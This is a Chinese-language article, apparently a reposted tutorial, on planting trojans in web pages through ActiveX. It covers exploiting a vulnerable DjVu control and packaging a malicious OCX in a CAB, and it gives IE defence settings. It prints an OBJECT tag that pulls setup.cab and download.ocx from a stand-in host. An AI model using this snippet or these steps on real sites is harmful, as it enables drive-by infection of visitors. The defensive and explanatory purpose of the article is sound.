熱點推薦:
您现在的位置: 電腦知識網 >> 網絡技術 >> 正文

如何利用ActiveX挂马

2022-06-13   來源: 網絡技術 

  曾几何时, 利用ActiveX是流氓软件“行凶”的主要技术手段之一,如今流氓软件大多都已经作古了,可ActiveX并没有退出人们的视野,网页挂马看上了它,于是ActiveX挂马流行起来,成为了重要的几种挂马方式之一。
  
  北岸团队张贵岭:资深安全工程师,从事安全行业十余年。
  ActiveX是微软开发的。微软的程序员似乎把世界想象得太过于善良,认为没有人会用ActiveX作恶。当年恶意软件流行的时期,一家名为“XX宝贝视频聊天室”的网站就曾利用色诱的方式,诱惑用户主动安装网站的ActiveX视频聊天控件。
  该ActiveX控件不仅会主动跟踪用户网络信息,而且还有弹出广告、上传用户Word文档等流氓行为。当利用ActiveX作恶的流氓软件越来越多后,微软在IE7中就忍痛添加了关于ActiveX认证的措施。如今所有的ActiveX在IE7中都会先屏蔽,而不再像当初一样主动弹出安装窗口。
  小百科:ActiveX是Microsoft对于一系列策略性面向对象程序技术和工具的称呼,ActiveX控件在使用时需要安装。
  
谁捧红了ActiveX挂马?
  在流氓软件野蛮生长的那几年,流氓软件也如同各路山贼土匪一样,往往会因为争夺用户电脑中的重要位置而发生火拼,于是许多用来制造病毒的技术被应用到了这些流氓软件身上。TW.wInGwiT.cOM后来病毒也开始向流氓软件取经,流氓软件使用的一些技术也被病毒拿来使用,ActiveX挂马应该是病毒从流氓软件身上学习的最彻底的技术。
  小百科:许多浏览器在支持ActiveX方面并不如IE来得积极,虽然Firefox、网景等浏览器都在不同程度上支持ActiveX,但是ActiveX出现问题最多的仍然是IE浏览器。
  ActiveX会被挂马者利用,其实主要问题在于它的认证机制。早期,如果一个网站上有需要安装ActiveX才能够看到的东西,那么在你访问该网站的时候,相关的ActiveX会反复地弹出提示要求你安装它,许多用户往往会因为各种原因点击“确定”,允许ActiveX控件安装。
  这就如同你走在马路上,有一群人说自己原意跟你交朋友,这些人在你面前一一经过,你可以选择点头同意或者摇头否定,凡是你点头同意的人都可以成为你的朋友,他们可以自由进出你的家。恐怖的是,有些人在成为你朋友之后,你才发现他是个小偷或者无赖流氓。
  目前利用ActiveX挂马主要有两种形式,一种是利用正常程序的ActiveX漏洞进行溢出挂马,另外一种则是直接编写恶意的ActiveX木马程序,将恶意的木马程序伪装成看似有某项功能的ActiveX控件,欺骗用户安装。接下来的案例中我们将会为大家演示黑客如何利用ActiveX挂马。
ActiveX挂马攻防实录
方法1:通过漏洞挂马
  攻黑客利用ActiveX进行网页挂马,最常见的方法就是利用那些有漏洞的ActiveX控件进行挂马,通过用户系统内已有的ActiveX控件的触发,让木马在不知不觉中植入用户的电脑。
  其中利用软件ActiveX漏洞发动攻击的著名例子有Flash和RealPlayer的ActiveX漏洞挂马程序,这些软件的ActiveX漏洞都曾经造成了极大的危害,特别是RealPlayer至今仍然有黑客在使用它的ActiveX漏洞进行挂马。
  下面以DjVu ActiveX控件漏洞为例讲解挂马的具体步骤,首先将恶意代码输入到写字板中,然后另存为任意的HTML文件,然后利用IFRAME代码将生成的HTML文件嵌入到正常的网页中,此时输入网址打开含有DjVu ActiveX控件漏洞的网页,本机的计算器程序就会被触发开启。而黑客通常不会这么善良,他们会将Shellcode代码修改成下载指定恶意程序的代码,然后让用户在打开相关网站后中招(图1)。

  小百科:DjVu ActiveX控件是用于压缩图形文件的工具,它在处理超长的ImageURL属性参数时会出现溢出。
  
  防对于利用ActiveX漏洞来进行挂马的行为,最好的防范方法是使用IE之外的浏览器,例如Firefox、Maxthon或360安全浏览器。此外,最好能够安装防挂马软件。
方法2:编写ActiveX木马
  攻ActiveX木马是利用一些用户盲目地点击网页上弹出的ActiveX询问安装按钮的习惯而进行传播的。许多用户往往并不能够分辨出哪些ActiveX控件是无害的,哪些ActiveX控件是有害的。
  那些ActiveX木马会打着视频聊天、美女图库等诱惑性的幌子,一些经不起诱惑的用户就会冲动性地安装网页中的ActiveX木马。
  编写ActiveX木马,需要一定的编程基础,而且整个过程相当复杂,由于版面的原因,这里只向各位想成为安全工程师的朋友简单阐述一下ActiveX木马的大致编写过程。
  首先黑客会编写一个具有Download或者其他恶意功能的OCX控件,这是ActiveX木马的核心和灵魂,然后黑客会再编写一个Setup安全设置的INF文件,用CAB压缩工具,例如WinCAB,将两个文件压缩打包成一个CAB文件。
   最后黑客将该文件上传到自己的网站中,并在网页中写入调用安装ActiveX控件的代码即可开张等待浏览该网页的用户上钩(图2)。

  调用代码如下:
  <OBJECT classid=clsid:68ADAF59-76C1-4561-A45A-867F43545237
  codeBase=http://192.168.1.1/web/setup.cab#version=1,0,0,0>
  <PARAM NAME="Setup" VALUE="http:// 192.168.1.1/web/download.ocx">
  </OBJECT>
  这样的ActiveX木马是没有签名验证的,通常不会被允许安装,但是仍然有方法可以突破这些安全限制。
  
  防要避免ActiveX木马的攻击只要禁止ActiveX木马被调用运行就可以了。
  防范此种方式挂马的最好方法还是在客户终端机上操作,在客户终端机运行IE浏览器,点击“工具→Internet选项→安全→自定义级别”,将安全级别定义为“高”,对“ActiveX控件和插件”中第2项、第3项设置为“禁用”,其他项设置为“提示”,之后点击“确定”(图3)。这样设置后,当你使用IE浏览网页时,就能有效避免ActiveX木马的攻击。

 
From:http://tw.wingwit.com/Article/Network/201311/10975.html
  • 上一篇文章:

  • 下一篇文章:
  • 推薦文章
    Copyright © 2005-2022 電腦知識網 Computer Knowledge   All rights reserved.